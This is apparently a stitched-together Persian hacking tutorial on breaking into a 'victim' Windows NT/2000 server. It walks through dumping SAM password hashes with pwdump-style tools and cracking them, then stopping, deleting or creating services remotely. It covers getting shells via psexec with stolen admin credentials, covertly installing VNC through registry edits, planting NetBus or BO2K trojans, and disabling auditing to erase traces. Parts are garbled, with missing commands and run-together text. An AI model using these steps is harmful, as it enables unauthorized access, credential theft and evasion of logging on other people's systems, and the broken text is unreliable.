» و...
حالا که يه نسخه از فايل SAM رو داريم که معادل فايل SAM اصلي است، ميتونيم از ابزاري به اسم استفاده کنيم. مثلا اگر فايل SAM ي که ايجاد کردهايم در آدرس c:\folder باشه و اسمش هم باشه SAM ، براي dump کردن hash ها مينويسيم: c:\folder\SAMو جواب ميگيريم: Administrator:500:CD9112302C53CECC7C3113B4A1A5E3A0 :F873525F3 52BCF1243B83938AC28A147:::ali:1009:NO PASSWORD*********************:NO PASSWORD*********************:::guest:1011:7C349F2 6F362950F0 5382367BF6677B7:9D5DF8F2A588405949DE0917CC19F8DD:: :,...کا� �لا واضحه و نيازي به توضيح نداره. اگه ميخواستيم که اطلاعات در فايلي ذخيره بشه به اسم مثلا hash.txt بايد مينوشتم: c:\folder\SAM > hash.txtوقتي SYSKEY نصب شده باشد ( مثلا در ويندوز ۲۰۰۰ اينطوريه ) ديگه samdump نميتونه کاري بکنه و عملا بدرد نميخوره.
+ روش دوم:
استفاده از نقاط ضعف و اکسپلويتکردن آنها. يه مثال ساده هست که در ويندوز ۲۰۰۰ کار ميکنه. در اين روش کافي است از برنامهاي به نام PipeUpSam ( که ميشه گفت يه جور exploit است، استفاده کنيد ). اين ابزار خيلي قشنگ مياد و فقط با اجراي دستور زير ميتونه اين اطلاعات رو از فايل SAM بگيره و مثلا در فايلي به اسم hash.txt ذخيره کنه: hash.txtاون سايتي که من قبلا اين فايل رو ازش گرفتم، فعلا کرکرهاش پايينه! تو اينترنت بگرديد و فايل رو پيدا کنيد.
ب) Dump کردن از رجيستري:
ملاحظه فرموديد که Dump کردن از فايل SAM معمولا دنگوفنگ داره ( البته بجز اون روشي که توسط PipeUpSam بودش). به هر حال راه ساده براي Dump کردن اين hash ها هست که اون هم از طريق رجيستري است. همونطور که گفتم، کليدهاي مربوطه در رجيستري به صورت hidden است و نميتونيد با روشهاي معمول چيزي ازش بخونيد ولي ميتونيد به کمک ابزارهايي اين کار رو انجام بديد:
+ وقتي SYSKEY نصب نشده است:
اين حالت وقتي پيش مياد که قراره پسوردها رو از رجيستري يه کامپيوتر NT 4.0 و قبل از SP2 بگيريم. در اين حالت ابزار رو به کار ميبريم. کافي است بنويسيم:و نتايج بياد يا ميتونيم اينا رو در فايلي به اسم hash.txt ذخيره کنيم، با اين دستور: > hash.txt+ وقتي SYSKEY نصب شده باشد:
در ويندوز ۲۰۰۰ به صورت پيشفرض اينگونه است. براي اين کار ميتونيد از ابزاري به اسم pwdump2 استفاده کنيد که همو همدارد. در هر دو نسخه، اسم فايلهاي اصلي pwdump2.exe و samdump.dll است که بايد هردو به سرور قرباني کپي شوند ( در يه فولدر خاص ) تا کار کنند. فرق نسخه قديمي با جديد اسن است که در نسخه قديمي بايد يه فايل از NTRK به اسم را هم به همان فولدر کپي کنيد و ازش استفاده کنيد. مراحل زير رو بايد طي کنيد:
:: اگر نسخه قديمي رو استفاده ميکنيد، اول مينويسيد: و مثلا جواب ميشنوم: lsass.exe NT ...اين دستور مياد و Process ID يا همون PID مربوط به lsass.exe رو پيدا ميکند تا بعد بتونيم از اين PID استفاده کنيم. در اينجا PID مربوطه، 63 است. اين مرحله لازم نيست در صورتيکه از نسخه جديد استفاده ميکنيد.
:: حالا بايد pwdump2 رو اجرا کنيم. اگه نسخه قديمي باشد، مينويسيم: 63که ۶۳ همان PID است که بدست آوردهايم. ولي اگر نسخه جديد باشد، لزومي نيست که PID رو بدست بياوريم، بلکه با دستور زير کار تمام است: و ليست hash ها مياد، ميتونستيم اطلاعات رو در يک فايل ذخيره کنيم، مينوشتيم: > hash.txtبه همين راحتي!
نکته: يه ابزاري هست به اسمو ياو يا (هر سه فايل زيپ، حاوي فايلهاي pwdump3.exe و pwservice.exe و lsaExt.dll ) فرق اين pwdump3 با pwdump هاي ديگر، اين است که وقتي که pwdump3 اجرا شود، به صورت remote کار ميکند. به اين ترتيب که مثلا username ( در حد اکانتهاي Admin ) رو مشخص ميکنيم و با اجراي pwdump3 ، از ما پسورد ميخواهد (يعني بايد username و password رو داشته باشيم) و اتصال برقرار شده (اتصال از نوع netbios ) و بعد دو فايل ديگر رو ميفرستد به سرور و بعد يک سرويس تشکيل ميدهد که به صورت remote ميتونه اين hash ها را براي ما بفرستد. ( بعد از فرستادن اطلاعات، فايلها پاک شده و سرويس نيز ار بين ميرود ). براي توصيحات بيشتر ميتونيد readme رو در فايل zip بخونيد.
۲) خوب حالا ما تونستيم اين hash ها رو بدست بياريم ( مثلا به شکل يه فايل به اسم hash.txt ) کار بعدي اينه که اين hash رو به کامپيوتر خودمون آورده، و بعد اونو به صورت پسورد واقعي در بياريم. همانطور که گفتم هر دو روش LM و NTLM از الگوريتمهاي يک طرفه براي رمز کردن استفاده ميکنند و نتيجه اينه که نميشه مستقيما اين hash ها رو به پسورد تبديل کرد. بلکه روش کار اينه که بايد پسوردها رو crack کنيم. به اين ترتيب که ليست بزرگي از پسوردها رو با هر کدام از اين الگوريتمها ( LM يا NTLM ) رمز کرده و نتيجه رو با چيزي که در فايل hash.txt داريم، مقايسه کنيم. اگر يکي بودند، يعني پسورد درست است. حالا روشهاي محتلفي که براي crack کردن کاربرد دارند، اينها هستند:
» dictionary attack: در اين روش يک فايل بزرگ که حاوي کلمات زيادي است به کار ميرود و با توجه به اينکه تعداد زيادي از مردم از کلمات معنادار استفاده ميکنند، ممکن است به جواب برسه. اين فايلهاي ديکشنري رو در درس مربوط به پورت ۱۳۹ گفتم از کجا ميتونيد پيدا کنيد.
» Brute Force: در اين روش تمام حالات ممکنه رو امتحان ميکنيم، مثلا از پسوردهاي يک کاراکتري شروع ميکنيم و تمام حالات ممکنه رو تست ميکنيم و اگه جواب نداد ۲ حرفي و ... مشخصه که اين روش بسيار کنده. ولي اگه مثلا بدونيم پسوردي که فلان فرد استفاده ميکنه، چند حرفيه، ميتونيم کار رو کمي سريعتر کنيم...
» Syllable attack: در اين روش يک کلمه به سيلابهاش تقسيم شده و بين اينها کاراکترهايي قرار داده ميشه و نتيجه تست ميشه. بعضي افراد از چنين پسوردهايي استفاده ميکنند.
» Hybrid يا rule based: در اين روش از يک سري اصول استفاده ميکنيم مثلا تمام پسوردهايي که حروف اولش يک کلمه انگليسي باشه و بعد از اون مثلا تا سه حرف رندوم. ميشه گفت ترکيب dictionary و brute force است.
» و...
حالا که با روشهاي crack آشنا شديد، وقتشه که چند ابزار واسه اين کارها معرفي کنم:
الف- L0pht Crack :
مشهورترين ابزار کرک کردن پسوردهاي hash شده است که واسه سيستمعامل ويندوز طراحي شده است. اين ابزار نسخه پولي دارد به اسم LC4 که گرافيکي است ( با trial براي ۱۵ روز ) و نيز نسخه خطفرماني مجاني و Open
- يادآوري
اين مقاله ادامه مقاله قبليه! در اين درس نيز ما با يک سرور ويندوز به صورت يک کامپيوتر منفرد سروکار داريم و توجهي به کامپيوترهاي متصل به اون در شبکهاي که هست نداريم.
- فولدرهايي از ويندوز با مجوز اجرا
فرض کنيد که الان از طريق روشي توانستيد مجوز ايجاد يا کپي کردن فايلي رو در تعدادي از فولدرهاي ويندوز قرباني بدست بياوريد. در اين گونه موارد هدف اينه که فولدري رو پيدا کنيم که براي ما با مجوزي که الان داريم (مثلا guest )، اجازه اجرا ( execute ) رو بده. دليلش مشخصه، مثلا اگه الان با guest وارد شديد، ممکن است بخواهيد که به سطح Admin برسيد. اين کار ممکنه با دستورات خود ويندوز ممکن نباشه و شما مجبور شويد که يه فايل اجرايي رو به کامپيوتر قرباني کپي کنيد تا با اجراي اون شما از guest به Admin برسيد. حالا اگه اين فايل خلافکار! رو به فولدري کپي کنيد که مجوز اجرا رو براي اکانت شما نداشته باشه، عملا نميتونيد از اون فايل استفاده کنيد. افتاد؟
درس قبلي يک سري ابزار از NTRK معرفي کردم که اسمشون ابزارهاي بررسي مجوزهاي NTFS بود ( از جمله perms و showacls ). از اينها هم در اين مرحله نميتونيد استفاده کنيد. اگه گفتيد چرا؟ درسته! چون اينها هم به هر حال يک سري ابزار و نرمافزار خارجي هستند ( يعني به طور پيشفرض در خود ويندوز وجود ندارند ) و از طرف ديگه ابزارهاي لوکال هستند ( يعني براي استفاده بايد به کامپيوتر قرباني کپي شوند ) و واضحه که بايد به فولدري کپي بشوند که مجوز اجرا داشته باشه و چون من نميدونم کدوم فولدر مجوز اجرا داره، نميتونم از اينها استفاده کنم! ( اين ابزارها هم کاربردهايي دارند که گاه خيلي مهمه، عجله نکنيد! )
خوب حالا من چکار مي
- يادآوري
اين مقاله ادامه مقاله قبليه! در اين درس نيز ما با يک سرور ويندوز به صورت يک کامپيوتر منفرد سروکار داريم و توجهي به کامپيوترهاي متصل به اون در شبکهاي که هست نداريم.
- سرويسها در ويندوز سرور
براي بعضي کارهاي خاص، بعضي سرويسها بايد در کامپيوتر قرباني فعال باشند يا ما بايد فعالشون کنيم. ( مثلا در درسهاي قبلي در مورد schedule service مطالبي رو به شما گفتم. فرمودم! که اگه بخوايم کارهاي زمانبندي شده رو در سرور ويندوز انجام بديم، اين سرويس بايد بهراه باشه. ) بنابراين از ديد يک هکر بعضي سرويسها مهمتر هستند که به اونها خواهيم پرداخت.
اول چند اصطلاح رو بايد ياد بگيريد:
۱- Display Name : نام کامل سرويس است. مثلا "Terminal Services" براي ترمينال سرويس ( حروف بزرگ و کوچک مهم است! )
۲- Service Name يا Key Name : نام خلاصه شده و يک کلمهاي براي سرويسهاست. مثلا TermService براي ترمينال سرويس ( حروف بزرگ و کوچک مهم است! )
۳- Process Name : اسم يک فايل اجرايي ( با پسوند exe ) که سرويس رو ايجاد کرده است. مثلا svchost.exe براي ترمينال سرويس. ( دقت کنيد که ممکن است يک پروسس چند سرويس مختلف رو ايجاد کند )
خوب حالا بهتره بدونيد که سيستمعامل موقعي که بالا مياد ( restart ميشه ) با توجه به تنظيمات هر سرويس ميتونه به سه شکل با اون رفتار کنه:
۱- Automatic : اگر سرويس در اين وضعيت تنظيم شده باشد، هر وقت که سرور بالا مياد، سرويس هم به صورت اتوماتيک شروع به کار ميکنه.
۲- Manual : اگر سرويس در اين وضعيت باشه، به صورت دستي ( يا توسط يک سرويس ديگه ) ميشه اونو فعال يا غير فعال کرد ولي موقع بالا اومدن به صورت پيشفرض غير فعال خواهد بود.
۳- Disabled : اگه سرويس در اين وضعيت باشه، موقع بالا اومدن سيستمعامل، غير فعال خواهد بود و يک يوزر يا يک سرويس وابسته نميتونه اونو فعال کنه.
وضعيت سرويسها هم قابل بررسي است:
۱- Running : يعني الان در وضعيت اجرا است.
۲- Paused : يعني هنوز در وضعيت اجرا هست ولي کاري رو قبول نميکنه. براي ادامه کار بايد Continue کنيم.
۳- Stopped : يعني متوقف شده، براي ادامه کار دوبار بايد Start بشه.
و ما نسبت به اين سرويسها چند تا کار ميتونيم انجام بديم:
۱- Start : يعني از حالت Stopped خارج بشه و شروع به کار کنه.
۲- Stop : يعني متوقف بشه.
۳- Pause : يعني کاري رو قبول نکنه. يه درجه پايين تر از stop است چون براي ادامه کار لازم نيست دوباره فراخواني بشه ( يعني آماده کار است ولي موقتا کاري نميگيره )
۴- Continue : يعني از حالت Pause خارج شده و در وضعيت Running قرار بگيره.
۵- Delete : يعني يک سرويس موجود رو پاک کنيم ( اگه بخوايم دوباره بهش دسترسي پيدا کنيم، بايد دوباره نصب شود ). با اين کار تمام کليدها و وروديهاي مربوطه از رجيستري پاک ميشوند.
۶- Create و Install : عمل عکس Delete رو انجام بديم. يعني يک سرويس جديد ايجاد کنيم. با اين کار کليدها و وروديهاي مربوطه به رجيستري اضافه ميشوند.
حالا بهتره سرويسهاي مهم هکري رو ليست کنم ( اين ليست از سايت http://www.ss6A.com گرفته شده است. با کمي تغييرات و اضافات ) :
Display nameService nameProcess nameDescriptionStatusApplication ManagementappmgtServices.exe or svchost.exeInstallation services (Add/Remove Programs) - Assign, Publish, and Remove.ManualComputer BrowserBrowserServices.exeActively collect the names of NetBIOS resources on the network, creating a list so that it can participate as a master browser or basic browser (one that takes part in browser elections).
This maintained list of resources (computers) is displayed in Network Neighborhood and Server Manager.AutomaticDHCP Client DhcpServices.exe or svchost.exeManage network configuration by registering and updating IP addresses and DNS names.AutomaticDNS ClientDnscacheServices.exeResolves and caches Domain Name System (DNS) names.AutomaticEventLogEventLogServices.exeRecord System, Security, and Application Events.
Viewed with the MMC Event Viewer (eventvwr.exe in NT). AutomaticIIS Admin ServiceIISAdmin%SystemRoot%\System32\inetsrv\ineti nfo.exeAll ows administration of Web and FTP services through the Internet Information Services snap-in.Automatic (if IIS installed)Internet Connection Sharing (Internet Connection Firewall)SharedAccesssvchost.exe -k netsvcs Network address translation, addressing, and name resolution services for all computers on your home network through a dial-up connection.AutomaticIPSEC Policy Agent PolicyAgentlsass.exe Manage IP security policy and starts the ISAKMP/Oakley (IKE) and the IP security driver.Automatic or DisableKerberos Key Distribution Centerkdclsass.exeGenerates session keys and grants service tickets for mutual client/server authentication.DisableMessengerMessengerServices.e xeProcess the delivery of pop-up messages sent by the Alerter service, or via NET SEND. The messages appear on the recipient's machines, and must be clicked OK to disappear.
This service is also required to receive any messages sent by the Messenger service from another machine.
This service is not related to Windows Messenger AutomaticNetwork Connections Netmansvchost.exe -k netsvcsManage objects in the Network and Dial-Up Connections folder (LAN and remote connections.) ManualNet Logon NetlogonLsass.exe
(Local Security Authority Subsystem)Network Authentication: maintains a synced domain directory database between the PDC and BDC(s), handles authentication of respective accounts on the DCs, and authenticates domain accounts on networked machines. Automatic - when connected to a domain.
Manual for stand-alone machines.NetMeeting Remote Desktop Sharing Nmnsrvcmnmsrvc.exeAllows authorized people to remotely access your Windows desktop using NetMeeting.Manual or DisabledNT LM Security Support Provider NtLmSspServices.exeExtends NT security to Remote Procedure Call (RPC) programs using various transports other than named pipes.
RPC activity is quite common, and most RPC apps don't use named pipes. ManualProtected Storage ProtectedStoragePstores.exeEncrypt and store secure info: SSL certificates, passwords for Outlook, Outlook Express, Profile Assistant, MS Wallet, and digitally signed S/MIME keys.AutomaticRemote Procedure Call (RPC) Locator RpcLocatorLocator.exe Maintain the RPC name server database, requires the RPC service (below) to be started. Database of available server applications.ManualRemote Procedure Call (RPC) Service
or
Remote Procedure Call (RPC) RpcSsRpcss.exe or svchost -k rpcssThis RPC subsystem is crucial to the operations of any RPC activities taking place on a system (DCOM, Server Manager, User Manager)
Rpcss.exe is also known as dcomss.exe (Distributed Common Object Model). AutomaticRemote Registry Service RemoteRegistryregsvc.exeAllow remote registry manipulation.Automatic or disabledRouting and Remote Access RemoteAccesssvchost.exe -k netsvcsAllow incoming connections via dial in or ***.Disable for security reasons or Manual RunAs Service (Secondary Logon)secLogonservices.exe or svchost.exe Enables starting processes under alternate credentials.Automatic or DisableSchedule (Task scheduler) Scheduleatsvc.exe or mstask.exe This service is required for the use of the AT command, which allows the scheduling of commands (Jobs) to be run on the machine, at a specific date & time.
Under NT it's a Resource Hog.
Under XP it's used by some auto-tuning operations.AutomaticSecurity Accounts Manager SamSslsass.exe Stores security information for local user accounts.AutomaticServerLanmanServerServices.exe Support for file sharing, print sharing, and named pipe sharing via SMB services.Automatic.
Disable on an IIS Server or if no resources are shared. Simple Mail Transport Protocol (SMTP)SmtpSvc%SystemRoot%\System32\inetsrv\inetinf o.exeTrans ports electronic mail across the networkAutomatic (if IIS installed)Simple TCP/IP Services SimpTcptcpsvcs.exe Supports the following TCP/IP services: Character Generator, Daytime, Discard, Echo, and Quote of the Day. SNMP ServiceSnmpsnmp.exe Agents that monitor the activity in network devices and report to the network console workstation.Automatic (if installed)SNMP Trap Service Snmptrapsnmptrap.exe Receives trap messages generated by local or remote SNMP agents and forwards the messages to SNMP management programs running on this computer.Automatic (if installed)System Event Notification SENSsvchost.exe -k netsvcs Track system events such as Windows logon, network, and power events.
Notifiy COM+ Event System subscribers of these events.AutomaticTCP/IP NetBIOS HelperlmHostsServices.exe Support for name resolution via a lookup of the LMHosts file. (Netbios/Wins)
This is an alternative to the more standard DNS lookup. Telnet TlntSvrtlntsvr.exe Allows a remote user to log on to the system and run console programs using the command line.Manual or Disabled.Terminal Services TermServicesvchost.exeRequired for Fast User Switching, Remote Desktop and Remote Assistance DisableWebClient (XP)WebClientsvchost.exe Allow access to web-resident disk storage from an ISP. WebDAV "internet disks" such as Apple's iDisk.DisableWindows Management Instrumentation WinMgmt%SystemRoot%\System32\WBEM\WinMgmt.exeProvi des system management information.AutomaticWindows Time W32timeservices.exe Update the computer clock by reference to an internet time source or a time server.Automatic or disableWorkstationlanmanworkstationServices.exe Communications and network connections.
Services dependent on this being started: Alerter, Messenger, and Net Logon. Automatic.
or Manual - for a stand-alone PC with no LAN or internet connection.World Wide Web Publishing ServiceW3Svc%SystemRoot%\System32\inetsrv\inetinfo .exeProvid es Web connectivity and administration through the Internet Information Services snap-in.Automatic (if IIS installed)
خوب معلومه که لازم نيست ليست رو حفظ کنيد! ولي اگه يه کمي روي اين جدول کار کنيد، خيلي ميتونه کمکتون کنه. مثلا اگه فردا گفتم که فلان Exploit واسه يک حفره امنيتي در Workstation Service هستش، بدونيد چي به چيه...
اينها که گفتم، تعدادي از سرويسهاي ويندوزه. اونهم سرويسهاي استاندارد ويندوز. اين به اون معني است که محصولات third-party مثلا فايروالهاي نرمافزاري، ابزارهاي remote control و ... هم ميتونند يک سرويس واسه خودشون راه بندازند و اين اصلا عجيب نيست!
ميرسيم به کار با سرويسها و ابزارهاي لازمه:
۱- کار با سرويسها وقتي که پشت کامپيوتر خودمون نشستهايم ( يا با يک remote control گرافيکي به کامپيوتر هدف متصل شدهايم ) :
در اين مواقع ميتونيد در قسمت RUN بنويسيد:winmsd.exe يا services.msc
اگر winmsd.exe را آوردهايد ( نام اين برنامه System Information است)، در قسمت سمت راست پنجره مسير Software Invironment > Services را طي کنيد. حالا ميتوانيد، اسم و وضعيت سرويسها رو ببينيد. ولي نميتونيد تغييري اعمال کنيد.
اگر services.msc را آوردهايد ( نام اين برنامه Services است)، علاوه بر نام و وضعيت سرويسها که ميبينيد، ميتونيد با راست کليک روي هر سرويس ( يا به کمک بار بالايي ) در سرويسها تغييراتي اعمال کنيد. مثلا شروع يا متوقف کنيد، Status را تغيير دهيد و ...
۲- کار با سرويسها به صورت خط فرماني:
در اين موارد از ابزارهاي خاصي مثل دستورات net ( يعني net start و net stop و net pause و net continue ) و نيز ابزارهاي NTRK ( يعني sc و sclist و netsvc و delsrv و isntsrv و srvany و svcmon و winmsdp ) استفاده کنيم. دستورات net که ميدونيد، هم به صورت loacl و هم remote قابل استفاده هستند. ولي در مورد ابزارهاي NTRK، بعضي فقط به صورت لوکال و بعضي فقط remote و بعضي هر دو کاربرد دارند. من کارهايي که با سرويسها ميشه انجام داد رو ليست ميکنم، و در هر کدوم ميگم که اگع بخوايم به صورت لوکال يا ريموت کار کنيم، از چه ابزارهايي ميشه استفاده کرد:
( حتما به کاربرد دستور find که در تعدادي از دستورات پاييني استفاده کردهام، دقت کنيد! )
( وقتي در يک موردي چندتا دستور مختلف رو ميگم، انتخاب هر کدوم به دلخواه شماست! )
+ ليست کردن سرويسهاي موجود:
- لوکال: sclistsc querywinmsdp /s ( file-e be esm-e msdrpt.TXT ijad mikonad, uno bekhunid )- ريموت: netsvc /list \\xxx.xxx.xxx.xxx
+ بررسي وضعيت يک سرويس از نظر Running بودن، Paused بودن، Stoped بودن و اطلاعات ديگر ... ( مثلا Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ) :
- لوکال: sclist | find "Schedule"sc query Schedule sc query Schedule | find "STATE"sc qc Schedule - ريموت: netsvc Schedule \\xxx.xxx.xxx.xxx /querynetsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /querysc \\xxx.xxx.xxx.xxx query Schedule sc \\xxx.xxx.xxx.xxx query Schedule | find "STATE"sc \\xxx.xxx.xxx.xxx qc Schedule
+ Stopped کردن يک سرويس ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
- لوکال: net stop Schedulenet stop "Task Scheduler"sc stop Schedule- ريموت: netsvc Schedule \\xxx.xxx.xxx.xxx /stopnetsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /stopsc \\xxx.xxx.xxx.xxx stop Schedule
+ از حالت Stopped در آوردن يک سرويس ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
- لوکال: net start Schedulenet start "Task Scheduler"sc start Schedule- ريموت: netsvc Schedule \\xxx.xxx.xxx.xxx /startnetsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /startsc \\xxx.xxx.xxx.xxx start Schedule
+ Paused کردن يک سرويس خاص ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
- لوکال: net pause Schedulenet pause "Task Scheduler"sc pause Schedule- ريموت: netsvc Schedule \\xxx.xxx.xxx.xxx /pausenetsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /pausesc \\xxx.xxx.xxx.xxx pause Schedule
+ از حالت Paused در آوردن يک سرويس ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
- لوکال: net continue Schedulenet continue "Task Scheduler"sc continue Schedule- ريموت: netsvc TermsService \\xxx.xxx.xxx.xxx /continuenetsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /continuesc \\xxx.xxx.xxx.xxx continue Schedule
+ Delete کردن يک سرويس خاص ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
- لوکال: sc delete Scheduleinstsrv Schedule removedelsrv Schedule- ريموت: sc \\xxx.xxx.xxx.xxx delete Schedule
+ Create يا Install کردن يک سرويس ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
- لوکال: sc create Schedule binPath=zzzz ( zzzz yani masire file ejrayi marbut be Schedule )instsrv Schedule zzzzzsrvany ���� ( ba in dastur ham mishavad vali man syntax-esho nemidunam )- ريموت: sc \\xxx.xxx.xxx.xxx create Schedule binPath=zzzz
خوب به سلامتي اينا تموم شد، حالا فقط يه نکته مونده. فرض کنيد که من Display Name مربوط به Schedule سرويس رو ميدونم که هست: Task Scheduler در حاليکه Service Name يا Key Name اش رو نميدونم و ميخوام پيدا کنم. کافي است دستور زير رو بنويسم: sc GetKeyName "task scheduler"و جواب چيزي است که من ميخوام. حالت برعکس هم داريم، مثلا Key Name رو ميدونم که Schedule است، ميخوام Display Name رو بگيرم. مينويسم: sc GetDisplayName scheduleراحت شديم از سرويسها!
- Remote Controls
همانطور که ميدونيد، Remote Control ها بر دو نوعند:
۱- خطفرماني ( مثلا استفاده از nc يا at يا rcmd يا remote يا netcmd يا p***ec )
۲- گرافيکي ( مثلا Terminal Services ويندوز يا VNC يا تروجانهايي مثل BO2K يا NetBus )
حالا بررسي هر يک:
+ استفاده از nc :
استفاده از nc به عنوان يک Remote Control قبلا و به طور مفصل در اينجا بحث شده است.
+ استفاده از at :
کار با at رو اينجا توضيح دادم. اگه يادتون باشه ما از at به عنوان يک Remote Control استفاده نميکرديم، بلکه موقعي ازش استفاده ميکرديم که ميخواستيم يه دستور خاص ( مثلا ايجاد يک پورت جديد به کمک nc رو ) مثلا چند دقيقه ديگر اجرا کنيم. به عبارت ديگه at کاتاليزور است!
+ استفاده از rcmd :
rcmd يا به عبارتي Remote Command Service يکي از ابزارهاي موجود در مجموعه NTRK است. دو تا فايل دارد که بدرد ما ميخوره. اولي rcmdsvc.exe است که درواقع فايلي است که به عنوان سرور بايد به کامپيوتر قرباني کپي شده و اجرا شود و يک سرويس براي ما تشکيل دهد. دومي rcmd.exe است که قسمت کلاينت محسوب ميشه و اونو تو کامپيوتر خودمون اجرا ميکنيم که به سرويسي که rcmdsrv ايحاد کرده متصل شود. ( nc رو دوست دارم، اينا رو دوست ندارم! )
+ استفاده از remote :
remote هم از ابزارهاي موجود در NTRK است. فقط يک فايل است که هم ميتونه نقش سرور و هم نقش کلاينت رو بازي کنه. براي اينکه نقش سرور رو ايفا کنه، فايل رو به کامپيوتر قرباني فرستاده و اونجا مينويسم: remote /s cmd zzzzzzzzzzzz يعني هر چيزي که شما دوست داري! وقتي اين دستور اجرا شد، تو کامپيوتر خودم مينويسم: remote /c xxx.xxx.xxx.xxx zzzzzzکه xxx.xxx.xxx.xxx به عنوان ip قرباني است و zzzzz همون چيزي است که تو سرور استفاده کرده بودم. ( nc رو دوست دارم، اينا رو دوست ندارم! )
+ استفاده از netcmd :
خوب فرض کنيد که من پسورد Admin رو دارم و يک session با IPC$ ايجاد کردهام. حالا ميتونم با دستور netcmd يه shell ازش بگيرم. قبلا و در اينجا بحث شده است.
+ استفاده از p***ec :
ميشه گفت يه جورايي کار netcmd رو انجام ميده ولي ديگه نيازي به ايجاد session نداره. p***ec رو ميتونيد از سايت SysInternals پيدا کنيد. لزومي به کپي کردن هيچ فايلي در کامپيوتر قرباني نيست. اگر اکانتي به اسم Ali با پسورد thepassword در حد اکانت Admin باشد، مينويسيد: p***ec \\xxx.xxx.xxx.xxx -u Ali -p thepassword cmd.exeو يک شل خطفرماني بگيريد.
+ استفاده از Terminal Services :
رسيديم به Remote Control هاي گرافيکي و اولين موردي که از اين گروه بحث ميکنيم، همين ترمينال سرويس است. ترمينال سرويس مربوط به خود ويندوز است ( جزو سرويسهاي استاندارد اون ) ولي به صورت پيشفرض غيرفعال است. اگه فعال باشه، روي پورت 3389 فالگوش ميمونه. اگه فعال نباشه، ميشه اونو نصب کرد ولي دنگوفنگ زياد داره. اگه فعال باشه، براي اتصال به اين Terminal Service کلاينتهاي مختلفي براي اون هست. از فايلهاي اجرايي مثل اين و اين گرفته تا Active-X هايي که رو IE اجرا ميشوند. username و password اش هم همان اکانتهاي ويندوز است.
+ استفاده از VNC يا به عبارتي Virtual Network Computing يا به عبارتي WinVNC :
من خيلي خوشم مياد ازش! دوستش دارم! نصب کردنش روي کامپيوتر قرباني يه کم سخته ( چون اصولا اين يک تروجان نيست، يه محصول باشخصيته! ). اول بايد از اينجا اونو داونلود کنيد. بعد فايلهاي winvnc.exe و vnchooks.dll و omnithread_rt.dll رو به کامپيوتر قرباني و در يک فولدر خاص ميفرستيم. بعد مييايم و يک فايل به اسم مثلا winvnc.ini ايجاد ميکنيم که کارش اينه که يک سري تغييرات در رجيستري ايجاد کند و يک پسورد واسه VNC ست کند. VNC از الگوريتم 3DES واسه hash کردن رمز استفاده ميکنه و رمز را در HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3 دخيره ميکند. ميتونيد يک پسورد رو ست کنيد و بعد ببينيد که چه شکلي ذخيره ميشه. اگه پسورد انتخابي کلمه secret باشه، معادل hash شده اون در VNC عبارت: 0x57bf2d2e 0x9e6cb06e خواهد بود. پس من اگه پسورد انتخابيام کلمه secret باشه، حالا بايد يک فايل درست کنم مثلا به اسم winvnc.ini که توش اينها باشه: HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3 SocketConnect = REG_DWORD 0x00000001 Password = 0x00000008 0x57bf2d2e 0x9e6cb06eو بعد به کمک regini ( که قبلا گفتم يک ابزار از NTRK است ) به صورت ريموت ( يعني از کامپيوتر خودمان ) دستور زير رو اجرا ميکنيم: regini -m \\xxx.xxx.xxx.xxx winvnc.iniحالا که ما تونستيم تغييرات رو در رجيستري اعمال کنيم، بايد سرويس رو آغاز کنيم. مينويسيم: winvnc -installnet start winvncو کار تمام است. حالا در کامپيوتر خودمون برنامه vncviewer رو اجرا کرده و حالشو ميبريم!
+ استفاده از NetBus و BO2K :
خوب اينها تروجان هستند. هر تروجاني معمولا يک فايل براي ايجاد فايل سرور دارد. وقتي فايل سرور ايجاد شد، اونو به کامپيوتر قرباني کپي کرده و اجرا ميکنيم. و بعد توسط کلاينت مربوطه به سرور متصل ميشويم. ( کار با اينها بسيار سادهاست )
- پاک کردن رد پا
الف- ويندوز رويدادها را در کجا ذخيره و گزارش ( log ) ميکند؟
در ويندوز سه فايل داريم که در اونها لاگها ذخيره ميشوند: AppEvent.Evt و SecEvent.Evt و SysEvent.Evt که از بين اينها اوني که بدرد ما ميخوره، فقط SecEvent.Evt است که محل ذخيره تلاشها ناموفق براي وارد شدن به سيستم ( مثلا با کمک يک کرکر ) و ... است. مسيري که اين سه فايل قرار دارند، اينجاست: %SystemRoot%\System32\Configدر خود ويندوز به کمک EventViewer ( کافي است در Run بنويسيد: eventvwr.msc ) ميشه اين فايلها رو بررسي کرد. ضمنا تغيير دادن اين فايلهاي لاگ، نياز به دسترسي به سيستم در سطح Admin دارند. اين ابزار بدرد ما نميخوره، ما ميخوايم ردپاهاي خودمون رو پاک کنيم و نيز دسترسي به صورت فيزيکي ( يا توسط يک ريموت کنترل گرافيکي ) به سيستم قرباني نداريم:
+ غير فعال کردن گزارش گيري:
اولين کار اينه که Auditing رو غير فعال کنيم. اين کار توسط يک ابزار از NTRK به نام auditpol قابل انجام است. مينويسيم: auditpol /disableبا اين دستور ديگه هيچ گزارشي اضافه نخواهد شد. ( ولي گزارشهاي بعدي باقي خواهند ماند ) اگه بخوايم دوباره فعال کنيم،مينويسيم: auditpol /enableمشخص است که اين ابزار بايد به صورت لوکال استفاده بشه. يعني چون ما ميخواهيم اين کارها رو در سرور قرباني انجام بديم، اين ابزار رو همونجا فرستاده و اجرا ميکنيم.
+ پاک کردن SecurityLog :
